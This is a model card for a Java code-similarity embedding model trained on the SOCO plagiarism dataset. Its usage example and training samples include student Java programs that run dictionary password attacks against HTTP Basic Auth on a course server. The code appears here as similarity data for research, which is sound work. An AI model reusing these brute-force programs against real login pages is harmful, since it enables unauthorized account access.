Hugging Face's logo

buelfhood
/
SOCO-Java-CodeBERTa-TripletLoss-100

Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:42960
loss:BatchAllTripletLoss
loss:TripletLoss
text-embeddings-inference
Model card Files Community

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Sources

Full Model Architecture 

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 42,960 training samples
  • Columns: anchor_code, positive_code, and negative_code
  • Approximate statistics based on the first 1000 samples:
    anchor_code positive_code negative_code
    type string string string
    details
    • min: 512 tokens
    • mean: 512.0 tokens
    • max: 512 tokens
    • min: 512 tokens
    • mean: 512.0 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 456.08 tokens
    • max: 512 tokens
  • Samples:
    anchor_code positive_code negative_code
    import java.net.;
    import java.io.    ;
    import java.*;

    public class Dictionary {

    URLConnection conn = null;
    private static boolean status = false;

    public static void main (String args[]){
    Dictionary a = new Dictionary();
    String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
    "",
    ""};
    File file = new File("words");
    exit:
    try {
    BufferedReader in = new BufferedReader(new FileReader(file));
    int attempt = 0;
    inp[2] = in.readLine();
    while (inp[2] != null) {

    if (inp[2].length() <= 3) {
    attempt++;
    a.doit(inp);
    if (status) {
    System.out.println("Crrect password is: " + inp[2]);
    System.out.println("Number of attempts = " + attempt);
    break exit;
    }
    }
    inp[2] = in.readLine();
    }
    } catch (FileNotFoundException e1) {

    System.err.println("File not found: " + file);
    } catch (IOException e2) {

    e2.printStackTrace();
    }

    }

    public void doit(String ar...    		 import java.net.;
    import java.io.    ;

    public class Dictionary {
    int attempts = 0;
    URLConnection conn = null;

    public static void main (String args[]){

    Dictionary a = new Dictionary();
    a.attack(args);
    }

    public void attack(String args[]) {
    try {
    String login = new String("");
    String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
    String passwd = new String();


    passwd = getPasswd();
    BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

    String line;
    while ((line = in.readLine()) != null) {
    System.out.println(line);
    }
    System.out.println("Password Cracked Successfully!!!");
    System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
    }
    catch (IOException e) {

    String r = new String(e.getMessage());
    if ( r != null)
    {
    System.out.println...


    import java.io.;
    import java.net.    ;

    import java.util.*;

    import java.misc.BASE64Encoder;

    public class Dictionary {

    private String userId;
    private String password;

    ReadDictionary myWords = new ReadDictionary();

    public Dictionary() {


    myWords.openFile();


    Authenticator.setDefault (new MyAuthenticator());


    }

    public String fetchURL (String urlString) {


    StringBuffer sb = new StringBuffer();
    HttpURLConnection connection;
    Date startTime, endTime;
    int responseCode = -1;
    boolean retry = true;

    URL url;
    startTime = new Date();

    System.out.println (" time :" + startTime);

    while (retry == true)
    {

    try {

    url = new URL (urlString);

    connection = (HttpURLConnection)url.openConnection();

    setUserId("");
    setPassword("rhk8611");

    System.out.println("Attempting get a response : " +connection.getURL() );
    responseCode = connection.getResponseCode();
    System.out.print(responseCode + " ");

    if (responseCode == HttpURLCo...
    import java.net.;
    import java.io.    ;
    import java.*;

    public class Dictionary {

    URLConnection conn = null;
    private static boolean status = false;

    public static void main (String args[]){
    Dictionary a = new Dictionary();
    String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
    "",
    ""};
    File file = new File("words");
    exit:
    try {
    BufferedReader in = new BufferedReader(new FileReader(file));
    int attempt = 0;
    inp[2] = in.readLine();
    while (inp[2] != null) {

    if (inp[2].length() <= 3) {
    attempt++;
    a.doit(inp);
    if (status) {
    System.out.println("Crrect password is: " + inp[2]);
    System.out.println("Number of attempts = " + attempt);
    break exit;
    }
    }
    inp[2] = in.readLine();
    }
    } catch (FileNotFoundException e1) {

    System.err.println("File not found: " + file);
    } catch (IOException e2) {

    e2.printStackTrace();
    }

    }

    public void doit(String ar...    		 import java.net.;
    import java.io.    ;

    public class Dictionary {
    int attempts = 0;
    URLConnection conn = null;

    public static void main (String args[]){

    Dictionary a = new Dictionary();
    a.attack(args);
    }

    public void attack(String args[]) {
    try {
    String login = new String("");
    String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
    String passwd = new String();


    passwd = getPasswd();
    BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

    String line;
    while ((line = in.readLine()) != null) {
    System.out.println(line);
    }
    System.out.println("Password Cracked Successfully!!!");
    System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
    }
    catch (IOException e) {

    String r = new String(e.getMessage());
    if ( r != null)
    {
    System.out.println...

    public class Base64 {

    final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";


    public static String encode(byte[] bytes) {

    String tmp = "";
    int i = 0;
    byte pos;

    for(i=0; i < (bytes.length - bytes.length%3); i+=3) {

    pos = (byte) ((bytes[i] >> 2) & 63);
    tmp = tmp + baseTable.charAt(pos);

    pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
    tmp = tmp + baseTable.charAt( pos );

    pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));
    tmp = tmp + baseTable.charAt(pos);

    pos = (byte) (((bytes[i+2]) & 63));
    tmp = tmp + baseTable.charAt(pos);



    if(((i+2)%56) == 0) {
    tmp = tmp + "\r\n";
    }
    }

    if(bytes.length % 3 != 0) {

    if(bytes.length % 3 == 2) {

    pos = (byte) ((bytes[i] >> 2) & 63);
    tmp = tmp + baseTable.charAt(pos);

    pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
    tmp = tmp + baseTable.charAt( pos );

    ...
    import java.net.;
    import java.io.    ;
    import java.*;

    public class Dictionary {

    URLConnection conn = null;
    private static boolean status = false;

    public static void main (String args[]){
    Dictionary a = new Dictionary();
    String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
    "",
    ""};
    File file = new File("words");
    exit:
    try {
    BufferedReader in = new BufferedReader(new FileReader(file));
    int attempt = 0;
    inp[2] = in.readLine();
    while (inp[2] != null) {

    if (inp[2].length() <= 3) {
    attempt++;
    a.doit(inp);
    if (status) {
    System.out.println("Crrect password is: " + inp[2]);
    System.out.println("Number of attempts = " + attempt);
    break exit;
    }
    }
    inp[2] = in.readLine();
    }
    } catch (FileNotFoundException e1) {

    System.err.println("File not found: " + file);
    } catch (IOException e2) {

    e2.printStackTrace();
    }

    }

    public void doit(String ar...    		 import java.net.;
    import java.io.    ;

    public class Dictionary {
    int attempts = 0;
    URLConnection conn = null;

    public static void main (String args[]){

    Dictionary a = new Dictionary();
    a.attack(args);
    }

    public void attack(String args[]) {
    try {
    String login = new String("");
    String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
    String passwd = new String();


    passwd = getPasswd();
    BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

    String line;
    while ((line = in.readLine()) != null) {
    System.out.println(line);
    }
    System.out.println("Password Cracked Successfully!!!");
    System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
    }
    catch (IOException e) {

    String r = new String(e.getMessage());
    if ( r != null)
    {
    System.out.println...

    import java.net.;
    import java.io.IOException;
    import java.util.    ;
    import java.io.*;
    public class Dictionary {
    static String userName;
    static URL url;
    static URLAuthenticator urlAuthenticator;
    static int noOfAttempts;

    public Dictionary() {
    }

    public static void main (String args[]) {
    Properties props = System.getProperties();
    props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");

    System.out.println(props.get("http.proxyHost"));
    BufferedReader inFile = null;

    try {
    if (args.length < 1) {
    System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
    System.exit(1);
    }
    inFile = new BufferedReader (new FileReader(args[0]));



    breakPassword(inFile);
    }

    catch (FileNotFoundException e) {
    System.err.println(e.getMessage());
    System.exit(1);
    }
    catch (IOException e) {
    ...
  • Loss: TripletLoss with these parameters:
    {
    "distance_metric": "TripletDistanceMetric.EUCLIDEAN",
    "triplet_margin": 5
}

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True
  • batch_sampler: no_duplicates

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 8
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: no_duplicates
  • multi_dataset_batch_sampler: proportional

Training Logs

Epoch Step Training Loss
0.0372 100 1.1693
0.0745 200 0.0311
0.1117 300 0.0292
0.1490 400 0.0112
0.1862 500 0.0105
0.2235 600 0.0214
0.2607 700 0.0185
0.2980 800 0.0177
0.3352 900 0.0074
0.3724 1000 0.0014
0.4097 1100 0.0115
0.4469 1200 0.0106
0.4842 1300 0.0017
0.5214 1400 0.012
0.5587 1500 0.0105
0.5959 1600 0.0065
0.6331 1700 0.0029
0.6704 1800 0.0066
0.7076 1900 0.0057
0.7449 2000 0.006
0.7821 2100 0.0015
0.8194 2200 0.002
0.8566 2300 0.0023
0.8939 2400 0.0016
0.9311 2500 0.0015
0.9683 2600 0.0021

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers 

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

TripletLoss 

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
Downloads last month
6
Safetensors
Model size
83.5M params
Tensor type
F32
·
Inference Providers NEW
Sentence Similarity
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support

Model tree for buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100

Base model

huggingface/CodeBERTa-small-v1
Finetuned
(34)
this model

Dataset used to train buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100